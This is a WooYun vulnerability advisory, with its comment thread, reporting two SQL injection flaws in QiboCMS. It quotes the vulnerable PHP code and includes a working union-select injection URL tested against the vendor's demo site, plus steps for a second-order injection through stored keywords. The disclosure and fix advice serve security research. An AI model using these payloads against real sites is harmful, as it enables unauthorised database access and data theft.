当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080867

漏洞标题:qibocms地方门户系统注入一个问题(demo测试)

相关厂商:齐博CMS

漏洞作者: ′雨。

提交时间:2014-10-29 13:02

修复时间:2015-01-27 13:04

公开时间:2015-01-27 13:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-29: 细节已通知厂商并且等待厂商处理中
2014-10-31: 厂商已经确认,细节仅向厂商公开
2014-11-03: 细节向第三方安全合作伙伴开放
2014-12-25: 细节向核心白帽子及相关领域专家公开
2015-01-04: 细节向普通白帽子公开
2015-01-14: 细节向实习白帽子公开
2015-01-27: 细节向公众公开

简要描述:

一周4个小时的假期也够苦的。
life5.qibosoft.com
听说一般应用。
注入 && 另外一个问题。

详细说明:

if(ereg("^([-_0-9a-zA-Z]+)$",$_GET[jobs])){
//不读数据库
if(is_file(dirname(__FILE__)."/../inc/job/$_GET[jobs].php")){
include(dirname(__FILE__)."/../inc/job/$_GET[jobs].php");
}
}elseif(ereg("^([-_0-9a-zA-Z]+)$",$_GET['job'])||ereg("^([-_0-9a-zA-Z]+)$",$_POST['job'])){
//读数据库
require(dirname(__FILE__)."/"."global.php");
if(ereg("^([-_0-9a-zA-Z]+)$",$job)&&is_file(ROOT_PATH."inc/job/$job.php")){
include(ROOT_PATH."inc/job/$job.php");
}
}


包含文件进来。
inc/job/ckreg.php 中

}elseif($type=='yzimg'){
if($db->get_one("SELECT * FROM {$pre}yzimg WHERE $SQL imgnum='$name' AND sid='$usr_sid'")){
die("<img src=$webdb[www_url]/images/default/check_right.gif> <font color=red>验证码输入正确!</font>");
}else{
die("<img src=$webdb[www_url]/images/default/check_error.gif>请输入正确的验证码");
}


这里的$SQL并没有初始化, 结合qibocms的全局机制 可以直接控制这个变量 导致注入。

1.jpg


demo测试:
http://life5.qibosoft.com/do/job.php?job=ckreg&type=yzimg&SQL=1=1 union select 1%23
数据库连接出错:SELECT * FROM life5_yzimg WHERE 1=1 union select 1# imgnum='' AND sid='1wmqh6ce'
The used SELECT statements have a different number of columns
1222请输入正确的验证码
_________________________________________________________________________
第二个问题
在wei/member/post.php中

elseif($action=="del")
{
$rsdb=$db->get_one("SELECT B.*,A.* FROM `{$_pre}content` A LEFT JOIN `{$_pre}content_1` B ON A.id=B.id WHERE A.id='$id'");
if($rsdb[fid]!=$fidDB[fid]){
showerr("栏目有问题");
}
if($rsdb[uid]!=$lfjuid&&!$web_admin)
{
showerr("你无权操作");
}
$db->query("DELETE FROM `{$_pre}content` WHERE id='$id' ");
$db->query("DELETE FROM `{$_pre}content_1` WHERE id='$id' ");
$db->query("DELETE FROM `{$_pre}comments` WHERE id='$id' ");

keyword_del($id,$rsdb['keywords']);


keyword_del($id,$rsdb['keywords']);
这里是出库来的 所以能引入转义符啥的。

function keyword_del($id,$keyword){
global $db,$_pre;
if(!$keyword){
return ;
}
$detail2=explode(" ",$keyword);
foreach( $detail2 AS $key=>$value){
if($value){
$db->query("UPDATE `{$_pre}keyword` SET num=num-1 WHERE BINARY `keywords`='$value'");
$_rs=$db->get_one("SELECT kid,num FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'");
if($_rs[num]<1){
$db->query("DELETE FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'");
}
$kid=$_rs[kid];
$db->query("DELETE FROM `{$_pre}keywordid` WHERE `kid`='$kid' AND id='$id'");


可以看到 出库的没过滤 再一次带入到查询当中

2.jpg


首先 关键字中写一些特殊字符 然后入库

3.jpg


然后修改。
在点击确认。

4.jpg


出库 造成注入。

漏洞证明:

1.jpg


修复方案:

第一个初始化一下
第二个 出库转义。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-10-31 16:03

厂商回复:

感谢提出来。 不过第二个问题,之前已处理过的了

最新状态:

暂无


漏洞评价:

评论

  1. 2014-10-29 13:03 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    雨牛~~~~~~

  2. 2014-10-29 13:06 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    门户是付费的,源码...

  3. 2014-10-29 13:24 | C4ndy ( 路人 | Rank:6 漏洞数:1 )

    注入#1 这是有续集的节奏?

  4. 2014-10-29 13:28 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    雨大爷又来抢我生意了

  5. 2014-10-29 13:50 | PythonPig ( 普通白帽子 | Rank:491 漏洞数:71 | 只会简单工具的小小菜)

    雨大爷不是潜心一年的嘛?最近又开始飙洞了?

  6. 2014-10-29 13:56 | ′ 雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @PythonPig 不破1000rank 不甘心。。

  7. 2014-10-29 13:58 | PythonPig ( 普通白帽子 | Rank:491 漏洞数:71 | 只会简单工具的小小菜)

    @′ 雨。 挖洞强迫症,得治

  8. 2014-10-29 15:57 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 | 总有一天,我会骑着雨牛@'雨。踩着一哥@jan...)

    雨牛又出来调皮了。

  9. 2015-01-25 22:00 | 金枪银矛小霸王 ( 普通白帽子 | Rank:103 漏洞数:25 | 不会挖洞洞的猿猿不是好学生)

    唉,雨牛天天出来装逼